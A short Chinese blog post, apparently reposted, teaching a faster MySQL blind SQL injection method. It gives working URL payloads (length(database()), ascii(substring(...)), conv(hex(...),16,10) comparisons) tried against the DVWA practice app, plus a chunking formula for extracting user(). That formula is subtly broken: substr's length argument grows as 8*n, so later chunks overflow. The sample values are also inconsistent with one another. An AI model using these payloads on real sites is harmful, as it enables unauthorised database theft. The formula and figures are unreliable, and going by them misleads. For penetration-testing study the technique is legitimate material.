MySQL快速盲注小技巧

2018-03-01 11:07:58来源:网络收集作者:/ka人点击

分享
一般情况下

MySQL数据库盲注流程是先判断长度,再按位读取对应的ascii值。


比如,获取当前库名时,第一步读取长度


index.php?id=1 and length(database())>5 返回true
index.php?id=1 and length(database())>6 返回false
即database()的长度为6

第二步,读取第一位对应的ascii值


index.php?id=1 and ascii(substring(database(),1,1))>72 返回true
index.php?id=1 and ascii(substring(database(),1,1))>73 返回false
即database()的第一位值为I(73)

然后再不断通过substring截取的位置来获取完整的 database()


快速方法

将字符串经过hex编码之后,再转成10进制数字,通过盲注获取具体的数字,然后再将它还原回去。如: 当 conv(hex(database()),16,10)>1685485408 时页面回显的是 User ID exists in the database. 当 conv(hex(database()),16,10)>1685485409 时页面回显的是 User ID is MISSING from the database. 所以 database() 转成10进制的数字即为 1685485409 ,再将它还原成字符串 select unhex(conv(1685485409,10,16)) 得到当前库名为 dvwa .


小问题

当我们尝试注入 user() 时,发现该值等于 18446744073709551615 ,这是因为 user() 的长度超过了八位,转成十进制时,远远超过了mysql的无符号类型bigint的表示范围。所以这里我们需要通过截取字符串的方式,八位八位的获取数据结果,公式如下:


select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

通过substr截取下一组8位字符串,就可以快速获取完整的数据了。


最后

欢迎大家加入我的小密圈,一起交流进步

最新文章

123

最新摄影

闪念基因

微信扫一扫

第七城市微信公众平台